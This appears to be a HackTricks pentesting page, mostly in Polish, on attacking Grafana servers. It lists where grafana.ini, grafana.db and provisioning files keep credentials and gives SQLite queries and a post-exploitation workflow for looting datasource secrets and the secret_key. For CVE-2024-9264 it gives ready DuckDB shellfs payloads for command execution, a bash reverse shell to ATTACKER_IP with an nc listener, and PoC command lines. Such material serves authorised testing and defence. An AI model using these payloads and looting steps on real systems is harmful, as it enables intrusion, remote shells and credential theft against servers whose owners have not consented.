Grafana

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ciekawe rzeczy

  • Główny plik konfiguracyjny zwykle znajduje się w /etc/grafana/grafana.ini (Deb/RPM) i może zawierać wrażliwe wartości, takie jak admin_user, admin_password, secret_key, ustawienia OAuth, SMTP creds i renderer tokens.
  • Domyślnie Grafana przechowuje dane w SQLite3 w /var/lib/grafana/grafana.db.
  • Pliki provisioningowe są bardzo interesujące po uzyskaniu dostępu do hosta:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • W plikach provisioningowych obsługiwane jest rozwijanie zmiennych środowiskowych, więc leaked YAML często ujawnia zarówno sekrety, jak i nazwy zmiennych środowiskowych, które je zasilają.
  • Zainstalowane pluginy zwykle znajdują się w /var/lib/grafana/plugins.
  • W obrębie platformy, w zależności od roli, możesz zapraszać użytkowników, generować API keys / service account tokens, wyświetlać listę pluginów lub instalować nowe pluginy.
  • Przeglądarka też jest źródłem (loot): Grafana udostępnia frontendowi nie‑sekretne konfiguracje datasource. Jeśli masz sesję Viewer (lub anonymous access jest włączony), sprawdź window.grafanaBootData w DevTools.

Przydatne sprawdzenia SQLite:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Looting datasources and secrets

Grafana oddziela konfigurację czytelną w przeglądarce od zaszyfrowanych sekretów:

  • jsonData jest widoczne dla użytkowników w przeglądarce i często wystarcza do wyliczenia hostów wewnętrznych, tenantów, trybów uwierzytelniania, nazw nagłówków, regionów AWS, indeksów Elasticsearch, tenantów Loki, URL-i Prometheus i podobnych danych rozpoznawczych.
  • secureJsonData jest szyfrowane po stronie serwera i nie jest już czytelne z poziomu przeglądarki po zapisaniu datasource.

Post-exploitation workflow:

  1. Dump grafana.ini i odzyskaj secret_key.
  2. Loot grafana.db i pliki provisioning.
  3. Enumerate datasources i konfigurację pluginów, aby znaleźć ponownie używalne poświadczenia i wewnętrzne endpointy.
  4. If migrating or replaying the database in another Grafana instance, zachowaj ten sam secret_key, inaczej przechowywane hasła/tokens datasource nie odszyfrują się poprawnie.

Why secret_key matters in newer versions:

  • Since Grafana v9, database secrets use envelope encryption.
  • Grafana szyfruje sekrety przy użyciu kluczy szyfrowania danych (DEKs), a te DEKs są zaszyfrowane przy użyciu key encryption key (KEK) wyprowadzonego z secret_key.
  • Z punktu widzenia atakującego, grafana.db + secret_key to para warta kradzieży.

Plugin attack surface

Traktuj pluginy jako część celu, a nie drobny dodatek:

  • Wylicz je z filesystemu, z UI lub z API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Starsze lub wtyczki firm trzecich regularnie rozszerzają zasięg Grafana’s do sieci wewnętrznych, ponieważ proxy’ują żądania HTTP lub wchodzą w interakcję z lokalnymi plikami/bazami danych.
  • Ostatnie przykłady obejmują SSRF w Infinity plugin (< 3.4.1) oraz ścieżki nadużyć, gdzie Image Renderer plugin przekształca inny błąd w full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

Funkcja eksperymentalna SQL Expressions w Grafanie może wykonywać zapytania DuckDB, które osadzają tekst kontrolowany przez użytkownika. Niewystarczająca sanitacja pozwala atakującym łączyć instrukcje DuckDB i załadować rozszerzenie społecznościowe shellfs, które udostępnia polecenia shella przez wirtualne pliki oparte na potokach.

Impact

  • Każdy uwierzytelniony użytkownik z rolą VIEWER lub wyższą może uzyskać wykonanie kodu jako użytkownik systemu Grafana (często grafana; czasami root w kontenerze) lub wykonać lokalne odczyty plików.
  • Warunki wstępne powszechnie spełnione w rzeczywistych wdrożeniach:
  • SQL Expressions enabled: expressions.enabled = true
  • duckdb binary present in PATH on the server

Quick checks

  • W UI/API, przejrzyj ustawienia administratora (Swagger: /swagger-ui, endpoint /api/admin/settings) aby potwierdzić:
  • expressions.enabled jest ustawione na true
  • Opcjonalnie: wersja, typy datasource i ogólne ustawienia hardeningu
  • Shell na hoście: which duckdb musi zwracać ścieżkę dla ścieżki exploita poniżej.

Manual query pattern using DuckDB + shellfs

  • Przebieg ataku (2 zapytania):
  1. Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
  2. Read back the temp file using read_blob

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Zastąp CMD poleceniem, którego chcesz użyć. W przypadku odczytu plików (LFI) możesz zamiast tego użyć funkcji plikowych DuckDB do odczytu plików lokalnych.

Przykład jednowierszowego reverse shell

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Umieść to jako CMD w pierwszym zapytaniu, gdy masz listener: nc -lnvp 443.

Zautomatyzowany PoC

Przykład użycia

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Jeśli wyjście pokazuje uid=0(root), Grafana działa jako root (częste w niektórych kontenerach).

2025 client-side traversal / open redirect chain

The 2025 Grafana client-side traversal and open-redirect chain są już udokumentowane na bardziej ogólnych stronach dotyczących client-side. Użyj tych technik przeciwko ścieżkom specyficznym dla Grafana, takim jak plugin assets, dashboard script loaders oraz token-rotation redirects:

Client Side Path Traversal

Open Redirect

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks